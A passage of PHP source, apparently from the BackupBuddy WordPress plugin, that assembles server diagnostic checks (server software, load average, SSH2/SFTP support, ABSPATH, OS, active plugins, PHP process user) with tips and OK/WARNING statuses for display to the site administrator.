$_SERVER['SERVER_SOFTWARE'] ) ) { $server_software = $_SERVER['SERVER_SOFTWARE']; } else { $server_software = 'Unknown'; } $parent_class_test = array( 'title' => 'Http Server Software', 'suggestion' => 'n/a', 'value' => $server_software, 'tip' => __('Software running this http web server, such as Apache, IIS, or Nginx.', 'it-l10n-backupbuddy' ), ); $parent_class_test['status'] = 'OK'; array_push( $tests, $parent_class_test ); // Load Average if ( !defined( 'PB_IMPORTBUDDY' ) ) { $load_average = pb_backupbuddy_get_loadavg(); foreach( $load_average as &$this_load ) { $this_load = round( $this_load, 2 ); } $parent_class_test = array( 'title' => 'Server Load Average', 'suggestion' => 'n/a', 'value' => implode( ', ', $load_average ), 'tip' => __('Server CPU use in intervals: 1 minute, 5 minutes, 15 minutes. E.g. .45 basically equates to 45% CPU usage.', 'it-l10n-backupbuddy' ), ); $parent_class_test['status'] = 'OK'; array_push( $tests, $parent_class_test ); } // SFTP support? if ( !defined( 'PB_IMPORTBUDDY' ) ) { $connect = 'no'; $sftp = 'no'; if ( is_callable( 'ssh2_connect' ) && ( false === in_array( 'ssh2_connect', $disabled_functions_array ) ) ) { $connect = 'yes'; } if ( is_callable( 'ssh2_ftp' ) && ( false === in_array( 'ssh2_ftp', $disabled_functions_array ) ) ) { $connect = 'yes'; } $parent_class_test = array( 'title' => 'PHP SSH2, SFTP Support', 'suggestion' => 'n/a', 'value' => $connect . ', ' . $sftp, 'tip' => __( 'Whether or not your server is configured to allow SSH2 connections over PHP or SFTP connections or PHP. Most hosts do not currently provide this feature. Information only; BackupBuddy cannot make use of this functionality at this time.', 'it-l10n-backupbuddy' ), ); $parent_class_test['status'] = 'OK'; array_push( $tests, $parent_class_test ); } // ABSPATH $parent_class_test = array( 'title' => 'WordPress ABSPATH', 'suggestion' => 'n/a', 'value' => '<span style="display: inline-block; max-width: 250px;">' . ABSPATH . '</span>', 'tip' => __( 'This is the directory which WordPress reports to BackupBuddy it is installed in.', 'it-l10n-backupbuddy' ), ); if ( ! @file_exists( ABSPATH ) ) { $parent_class_test['status'] = 'WARNING'; } else { $parent_class_test['status'] = 'OK'; } array_push( $tests, $parent_class_test ); // OS $php_uname = ''; if ( is_callable( 'php_uname' ) ) { $php_uname = ' <span style="display: inline-block; max-width: 250px; font-size: 8px;">(' . @php_uname() . ')</span>'; } $parent_class_test = array( 'title' => 'Operating System', 'suggestion' => 'Linux', 'value' => PHP_OS . $php_uname, 'tip' => __('The server operating system running this site. Linux based systems are encouraged. Windows users may need to perform additional steps to get plugins to perform properly.', 'it-l10n-backupbuddy' ), ); if ( substr( PHP_OS, 0, 3 ) == 'WIN' ) { $parent_class_test['status'] = 'WARNING'; } else { $parent_class_test['status'] = 'OK'; } array_push( $tests, $parent_class_test ); // Active plugins list. if ( !defined( 'PB_IMPORTBUDDY' ) ) { // Active Plugins $success = true; $active_plugins = serialize( get_option( 'active_plugins' ) ); $found_plugins = array(); foreach( backupbuddy_core::$warn_plugins as $warn_plugin => $warn_plugin_title ) { if ( FALSE !== strpos( $active_plugins, $warn_plugin ) ) { // Plugin active. $found_plugins[] = $warn_plugin_title; $success = false; } } $parent_class_test = array( 'title' => 'Active WordPress Plugins', 'suggestion' => 'n/a', 'value' => '<textarea style="width: 100%; max-height: 200px;" disabled="disabled">' . implode( ', ', unserialize( $active_plugins ) ) . '</textarea>', 'tip' => __( 'Plugins currently activated for this site. A warning does not guarentee problems with a plugin but indicates that a plugin is activated that at one point may have caused operational issues. Plugin conflicts can be specific and may only occur under certain circumstances such as certain plugin versions, plugin configurations, and server settings.', 'it-l10n-backupbuddy' ), ); if ( false === $success ) { $parent_class_test['status'] = 'WARNING'; } else { $parent_class_test['status'] = 'OK'; } array_push( $tests, $parent_class_test ); } // PHP Process user/group. if ( !defined( 'PB_IMPORTBUDDY' ) ) { $success = true; $php_user = '<i>' . __( 'Unknown', 'it-l10n-backupbuddy' ) . '</i>'; $php_uid = '<i>' . __( 'Unknown', 'it-l10n-backupbuddy' ) . '</i>'; $php_gid = '<i>' . __( 'Unknown', 'it-l10n-backupbuddy' ) . '</i>'; if ( is_callable( 'posix_geteuid' ) && ( false === in_array( 'posix_geteuid', $disabled_functions_array ) ) ) { $php_uid = @posix_geteuid(); if ( is_callable( 'posix_getpwuid' ) && ( false === in_array( 'posix_getpwuid', $disabled_functions_array ) ) ) { $php_user = @posix_getpwuid( $php_uid ); $php_user = $php_user['name']; } } if ( is_callable( 'posix_getegid' ) && ( false === in_array( 'posix_getegid', $disabled_functions_array ) ) ) { $php_gid = @posix_getegid(); } $parent_class_test = array( 'title' => 'PHP Process User (UID:GID)', 'suggestion' => 'n/a', 'value' => $php_user . ' (' . $php_uid . ':' . $php_gid . ')', 'tip' => __( 'Current user, user ID, and group ID under which this PHP process is running. This user must have proper access to your files and directories. If the PHP user is not your own then setting up a system such as suphp is encouraged to ensure proper access and security.', 'it-l10n-backupbuddy' ), ); if ( false === $success ) { $parent_class_test['status'] = 'WARNING'; } else { $parent_class_test['status'] = 'OK'; } array_push( $tests, $parent_class_test ); }